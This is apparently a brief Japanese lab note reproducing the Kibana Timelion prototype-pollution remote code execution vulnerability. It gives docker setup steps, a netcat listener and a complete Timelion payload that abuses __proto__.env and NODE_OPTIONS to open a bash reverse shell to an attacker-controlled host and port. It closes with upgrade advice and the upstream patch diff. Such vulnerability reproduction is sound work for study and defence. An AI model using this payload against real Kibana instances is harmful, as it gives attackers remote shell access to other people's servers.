KibanaのTimelionビジュアライザーの欠陥により、リモートコード実行が可能な脆弱性
docker-comopse up -d
http://127.0.0.1:5601にアクセスする。$ nc -lvp 6666
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<공격자서버IP>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
Kibanaを6.6.1または5.6.15以上のバージョンに更新
https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];